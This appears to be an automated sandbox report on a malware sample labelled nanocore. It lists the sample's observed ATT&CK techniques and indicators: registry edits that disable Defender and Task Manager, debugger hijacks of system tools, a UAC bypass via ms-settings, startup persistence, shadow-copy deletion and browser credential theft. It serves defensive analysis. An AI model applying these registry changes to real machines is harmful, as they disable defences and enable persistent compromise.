nanocore | f92c804bc774697b00d4e5282c998ccdae9efbcc29fc1213ba764007e38386b8

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	electricstud.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3388	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	electricstud.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	electricstud.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\electricstud.io_chrome.exe"	electricstud.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\electricstud.io_chrome.exe"	electricstud.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\electricstud.io_chrome.exe"	electricstud.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4848	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	electricstud.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	electricstud.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	electricstud.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\electricstud.io_chrome.exe"	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\electricstud.io_chrome.exe"	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\electricstud.io_chrome.exe"	electricstud.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
336	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	electricstud.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	electricstud.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	electricstud.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1816	wscript.exe
5776	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	electricstud.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1628	sc.exe
1132	sc.exe
1876	sc.exe
3324	sc.exe
5656	sc.exe
3688	sc.exe
4652	sc.exe
5448	sc.exe
5124	sc.exe
1100	sc.exe
4528	sc.exe
2672	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3284	cmd.exe
4556	cmd.exe
1308	cmd.exe
5348	cmd.exe
4264	cmd.exe
1132	cmd.exe
400	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3152	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
844	ipconfig.exe
4700	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2748	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5332	vssadmin.exe
328	vssadmin.exe
1016	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\WallpaperStyle = "2"	electricstud.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134307573149304182"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	electricstud.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	electricstud.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	electricstud.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	electricstud.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	electricstud.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	electricstud.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\electricstud.io_chrome.exe"	electricstud.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	electricstud.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	electricstud.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	electricstud.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	electricstud.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\DelegateExecute	electricstud.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\electricstud.io_chrome.exe\" \"%1\""	electricstud.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5332	schtasks.exe
4240	schtasks.exe
4276	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4492	chrome.exe
4492	chrome.exe
3388	powershell.exe
3388	powershell.exe
3388	powershell.exe
1308	WMIC.exe
1308	WMIC.exe
1308	WMIC.exe
1308	WMIC.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
5468	WMIC.exe
5468	WMIC.exe
5468	WMIC.exe
5468	WMIC.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4780	WMIC.exe
4780	WMIC.exe
4780	WMIC.exe
4780	WMIC.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe
4372	electricstud.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4372	electricstud.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4492	chrome.exe
Token: SeCreatePagefilePrivilege	4492	chrome.exe
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeShutdownPrivilege	4492	chrome.exe
Token: SeCreatePagefilePrivilege	4492	chrome.exe
Token: SeShutdownPrivilege	4492	chrome.exe
Token: SeCreatePagefilePrivilege	4492	chrome.exe
Token: SeShutdownPrivilege	4492	chrome.exe
Token: SeCreatePagefilePrivilege	4492	chrome.exe
Token: SeShutdownPrivilege	4492	chrome.exe
Token: SeCreatePagefilePrivilege	4492	chrome.exe
Token: SeIncreaseQuotaPrivilege	1308	WMIC.exe
Token: SeSecurityPrivilege	1308	WMIC.exe
Token: SeTakeOwnershipPrivilege	1308	WMIC.exe
Token: SeLoadDriverPrivilege	1308	WMIC.exe
Token: SeSystemProfilePrivilege	1308	WMIC.exe
Token: SeSystemtimePrivilege	1308	WMIC.exe
Token: SeProfSingleProcessPrivilege	1308	WMIC.exe
Token: SeIncBasePriorityPrivilege	1308	WMIC.exe
Token: SeCreatePagefilePrivilege	1308	WMIC.exe
Token: SeBackupPrivilege	1308	WMIC.exe
Token: SeRestorePrivilege	1308	WMIC.exe
Token: SeShutdownPrivilege	1308	WMIC.exe
Token: SeDebugPrivilege	1308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1308	WMIC.exe
Token: SeRemoteShutdownPrivilege	1308	WMIC.exe
Token: SeUndockPrivilege	1308	WMIC.exe
Token: SeManageVolumePrivilege	1308	WMIC.exe
Token: 33	1308	WMIC.exe
Token: 34	1308	WMIC.exe
Token: 35	1308	WMIC.exe
Token: 36	1308	WMIC.exe
Token: SeShutdownPrivilege	4492	chrome.exe
Token: SeCreatePagefilePrivilege	4492	chrome.exe
Token: SeIncreaseQuotaPrivilege	1308	WMIC.exe
Token: SeSecurityPrivilege	1308	WMIC.exe
Token: SeTakeOwnershipPrivilege	1308	WMIC.exe
Token: SeLoadDriverPrivilege	1308	WMIC.exe
Token: SeSystemProfilePrivilege	1308	WMIC.exe
Token: SeSystemtimePrivilege	1308	WMIC.exe
Token: SeProfSingleProcessPrivilege	1308	WMIC.exe
Token: SeIncBasePriorityPrivilege	1308	WMIC.exe
Token: SeCreatePagefilePrivilege	1308	WMIC.exe
Token: SeBackupPrivilege	1308	WMIC.exe
Token: SeRestorePrivilege	1308	WMIC.exe
Token: SeShutdownPrivilege	1308	WMIC.exe
Token: SeDebugPrivilege	1308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1308	WMIC.exe
Token: SeRemoteShutdownPrivilege	1308	WMIC.exe
Token: SeUndockPrivilege	1308	WMIC.exe
Token: SeManageVolumePrivilege	1308	WMIC.exe
Token: 33	1308	WMIC.exe
Token: 34	1308	WMIC.exe
Token: 35	1308	WMIC.exe
Token: 36	1308	WMIC.exe
Token: SeShutdownPrivilege	4492	chrome.exe
Token: SeCreatePagefilePrivilege	4492	chrome.exe
Token: SeBackupPrivilege	576	vssvc.exe
Token: SeRestorePrivilege	576	vssvc.exe
Token: SeAuditPrivilege	576	vssvc.exe
Token: SeShutdownPrivilege	4492	chrome.exe
Token: SeCreatePagefilePrivilege	4492	chrome.exe
Token: SeShutdownPrivilege	4492	chrome.exe
Token: SeCreatePagefilePrivilege	4492	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe
4492	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4372	electricstud.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 4492	4372	electricstud.io_chrome.exe	88
PID 4492 wrote to memory of 5128	4492	chrome.exe	90
PID 4372 wrote to memory of 3388	4372	electricstud.io_chrome.exe	91
PID 4372 wrote to memory of 4652	4372	electricstud.io_chrome.exe	93
PID 4372 wrote to memory of 5448	4372	electricstud.io_chrome.exe	95
PID 4492 wrote to memory of 2848	4492	chrome.exe	97
PID 4492 wrote to memory of 3152	4492	chrome.exe	98
PID 4492 wrote to memory of 2848	4492	chrome.exe	97
PID 4492 wrote to memory of 3248	4492	chrome.exe	100
PID 4492 wrote to memory of 3248	4492	chrome.exe	100
PID 4492 wrote to memory of 1960	4492	chrome.exe	102
PID 4492 wrote to memory of 2196	4492	chrome.exe	103
PID 4492 wrote to memory of 1960	4492	chrome.exe	102
PID 4492 wrote to memory of 2196	4492	chrome.exe	103
PID 4372 wrote to memory of 5124	4372	electricstud.io_chrome.exe	99
PID 4372 wrote to memory of 1628	4372	electricstud.io_chrome.exe	105
PID 4372 wrote to memory of 1100	4372	electricstud.io_chrome.exe	107
PID 4492 wrote to memory of 1224	4492	chrome.exe	108
PID 4492 wrote to memory of 1224	4492	chrome.exe	108
PID 4372 wrote to memory of 1132	4372	electricstud.io_chrome.exe	143
PID 4492 wrote to memory of 5380	4492	chrome.exe	112
PID 4492 wrote to memory of 5380	4492	chrome.exe	112
PID 4372 wrote to memory of 4528	4372	electricstud.io_chrome.exe	113
PID 4372 wrote to memory of 1876	4372	electricstud.io_chrome.exe	115
PID 4372 wrote to memory of 608	4372	electricstud.io_chrome.exe	117
PID 4372 wrote to memory of 3324	4372	electricstud.io_chrome.exe	118
PID 4372 wrote to memory of 5656	4372	electricstud.io_chrome.exe	120
PID 608 wrote to memory of 2356	608	fodhelper.exe	121
PID 4372 wrote to memory of 5332	4372	electricstud.io_chrome.exe	133
PID 4372 wrote to memory of 1308	4372	electricstud.io_chrome.exe	145
PID 4372 wrote to memory of 1816	4372	electricstud.io_chrome.exe	132
PID 4372 wrote to memory of 5332	4372	electricstud.io_chrome.exe	133
